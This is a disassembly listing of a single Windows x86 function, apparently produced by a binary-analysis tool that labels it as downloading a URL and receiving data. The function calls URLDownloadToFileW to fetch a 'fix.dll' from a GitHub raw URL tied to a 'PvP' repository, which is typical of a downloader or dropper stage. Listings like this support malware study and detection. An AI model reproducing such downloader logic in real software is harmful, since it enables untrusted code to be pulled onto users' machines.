Function at 0x404520
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408ce5
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x40c040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00404070
xor esi, esi
mov ecx, 1
mov ebx, 0x40c82c
xor eax, eax
lock cmpxchg dword [ebx], ecx
test eax, eax
je 0x40458d
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
cmp esi, 0x20
jae 0x404579
push 0
jmp 0x40457b
push 1
call edi
inc esi
mov ecx, 1
xor eax, eax
lock cmpxchg dword [ebx], ecx
test eax, eax
jne 0x404570
cmp dword [0x40c830], 0
jne 0x4045a7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x40c830], eax
xor eax, eax
xchg dword [ebx], eax
cmp dword [0x40c874], 0xf
mov eax, 0x40c860
push dword [0x40c870]
cmova eax, dword [0x40c860]
push eax
call fcn.00407489
mov edx, eax
lea ecx, [ebp - 0x68]
call fcn.00401970
add esp, 8
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x38]
cmp dword [ebp - 0x54], 7
lea eax, [ebp - 0x68]
push 0xffffffffffffffff
cmova eax, dword [ebp - 0x68]
push 3
push ecx
push eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xffff
call fcn.00407621
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x40], eax
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402d10
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0x40c0b0
test eax, eax
je 0x404668
cmp eax, 1
sete bl
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x54]
cmp ecx, 7
jbe 0x40467e
mov edx, dword [ebp - 0x68]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404674
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404674
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov bl, 1
test ecx, ecx
jne 0x404779
jmp 0x40462f
push ecx
push edx
call fcn.00407c41
add esp, 8
test bl, bl
je 0x404733
cmp dword [0x40c874], 0xf
mov eax, 0x40c860
push dword [0x40c870]
cmova eax, dword [0x40c860]
push eax
call fcn.00407489
mov edx, eax
lea ecx, [ebp - 0x50]
call fcn.00401970
add esp, 8
mov dword [ebp - 4], 1
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0x40c0b0
call fcn.00403580
cmp dword [ebp - 0x18], 0
jne 0x40478a
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x3c]
cmp ecx, 7
jbe 0x40471f
mov edx, dword [ebp - 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404715
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404715
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00407c41
add esp, 8
xor eax, eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 7
mov word [ebp - 0x50], ax
cmp dword [0x40c848], 7
mov eax, 0x40c834
push 0
cmova eax, dword [0x40c834]
push 0
push eax
push str.https:__raw.githubusercontent.com_OldSpectorPvP_OldSpectorPvP_main_fix.dll
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
call fcn.00403c40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004079b2
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x68]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x18]
call fcn.00402c90
lea eax, [ebp - 0x50]
mov ecx, str.create_directories
push eax
lea edx, [ebp - 0x18]
call fcn.00402c90
int3